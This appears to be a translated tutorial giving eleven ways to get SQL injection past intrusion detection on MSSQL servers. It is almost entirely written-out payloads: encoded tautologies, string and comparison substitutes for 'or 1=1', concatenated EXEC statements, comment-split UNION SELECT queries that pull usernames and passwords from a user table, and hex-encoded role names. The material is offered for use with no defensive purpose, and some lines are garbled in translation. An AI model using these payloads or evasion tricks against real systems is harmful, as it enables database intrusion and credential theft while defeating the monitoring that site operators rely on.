When we run SQL Injection on a server running IDS system, we often encounter a lot of trouble because our injection statements are filtered out, how to circumvent this kind of detection method has become a new technology. This article puts forward eleven ideas and methods for this technology, and discusses them with everyone.
I. Bypass Using encoding technology, such as URLEncode and ASCII code.
If or 1 = 1, % 6f % 72% 20% 31% 3d % 31
Test is CHAR (101) + CHAR (97) + CHAR (115) + CHAR (116)
2. Bypass by space. For example, if two spaces replace one space, use Tab instead of space, or delete all spaces, such as 'sword' = 'sword', due to the loose nature of mssql, we can remove spaces between or words without affecting the operation.
3. Use string judgment instead of the classic or 1 = 1 judgment bypass, for example, or 'sword' = 'sword'
4. bypass through the type conversion modifier N, for example, or 'sword' = N 'sword'. The uppercase N tells mssql server that the string is of the nvarchar type and plays the role of type conversion, the injection statement itself is not affected, but the knowledge-based pattern matching IDS can be avoided.
5. disassemble the string through the "+" sign and bypass it,
For example, or 'sword' = 'sw '+ 'ords'
; EXEC ('in' + 'sert into' + '..... ')
6. bypass through LIKE, for example, or 'sword' LIKE 'sw'
7. bypass through IN, such as or 'sword' IN ('sword ')
8. bypass through BETWEEN, for example, or 'sword' BETWEEN 'rw 'AND 'tw'
9. Pass> or <bypass, such
Or 'sword'> 'sw'
Or 'sword' <'tw'
Or 1 <3
10. Bypass Using comment statements:
Use/**/to replace spaces, such:
UNION/**/SELECT/**/user, pwd, from tbluser
Use/**/to separate sensitive words, such:
U/**/NION/**/SE/**/LECT/**/user, pwd from tbluser
11. Bypass with HEX. Generally, IDS cannot be detected.
0x730079007300610064006D0069006E00 = hex (sysadmin)
0x640062005F006F0077006E0065007200 = hex (db_owner)
The above eleven SQL Injection intrusion prevention detection technologies are for your reference.